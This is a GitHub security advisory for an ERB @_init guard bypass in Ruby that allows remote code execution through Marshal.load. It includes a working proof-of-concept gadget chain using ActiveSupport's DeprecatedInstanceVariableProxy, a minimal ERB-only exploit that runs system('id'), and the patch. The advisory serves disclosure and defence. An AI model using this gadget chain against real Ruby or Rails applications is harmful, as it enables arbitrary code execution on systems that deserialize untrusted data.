GHSA-q339-8rmv-2mhv
CVE Information
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an
@_initinstance variable guard inERB#resultandERB#runto prevent code execution when an ERB object is reconstructed viaMarshal.load(deserialization). However, three other public methods that also evaluate@srcviaeval()were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_classAn attacker who can trigger
Marshal.loadon untrusted data in a Ruby application that haserbloaded can useERB#def_module(zero-arg, default parameters) as a code execution sink, bypassing the@_initprotection entirely.The @_init Guard
In
ERB#initialize, the guard is set:# erb.rb line 838 @_init = self.class.singleton_classIn
ERB#resultandERB#run, the guard is checked beforeeval(@src):# erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) endWhen an ERB object is reconstructed via
Marshal.load,@_initis eithernil(not set during marshal reconstruction) or an attacker-controlled value. SinceERB.singleton_classcannot be marshaled, the attacker cannot set@_initto the correct value, andresult/runcorrectly refuse to execute.The Bypass
ERB#def_method,ERB#def_module, andERB#def_classall reacheval(@src)without checking@_init:# erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) # <-- no @_init check end end # erb.rb line 1113-1117 def def_module(methodname='erb') # <-- zero-arg call possible mod = Module.new def_method(mod, methodname, @filename || '(ERB)') mod end # erb.rb line 1170-1174 def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible cls = Class.new(superklass) def_method(cls, methodname, @filename || '(ERB)') cls end
def_moduleanddef_classaccept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.Method wrapper breakout
def_methodwraps@srcin a method definition:"def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting@srcto begin withend\n, the attacker closes the method definition early. Code after the firstendexecutes immediately atmodule_evaltime:# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end
Proof of Concept
Minimal (ERB only)
require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)Marshal deserialization (ERB + ActiveSupport)
When combined with
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxyas a method dispatch gadget, this achieves RCE viaMarshal.load:require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)Chain: 1.
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key 2. Hash key insertion calls.hashon the proxy 3..hashis undefined ->method_missing(:hash)-> dispatches toERB#def_module4.def_module->def_method->module_eval(eval(src))-> breakout ->system('id')Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
Impact
Scope
Any Ruby application that calls
Marshal.loadon untrusted data AND has botherbandactivesupportloaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC- Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The
@_initguard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. Thedef_modulebypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
Year Chain Mitigated in 2018 Gem::Requirement (Luke Jahnke) RubyGems 3.0 2021 UDG -- TarReader+WriteAdapter (vakzz) RubyGems 3.1 2022 Gem::Specification._load (vakzz) RubyGems 3.6 2024 UncaughtThrowError (Luke Jahnke) Ruby 3.4 patches 2024 Gem::Source::Git#rev_parse RubyGems 3.6 2026 ERB#def_module @_init bypass ERB 6.0.4 Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the
@_initcheck todef_method. Sincedef_moduleanddef_classboth delegate todef_method, this single change covers all three bypass paths:def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1) end end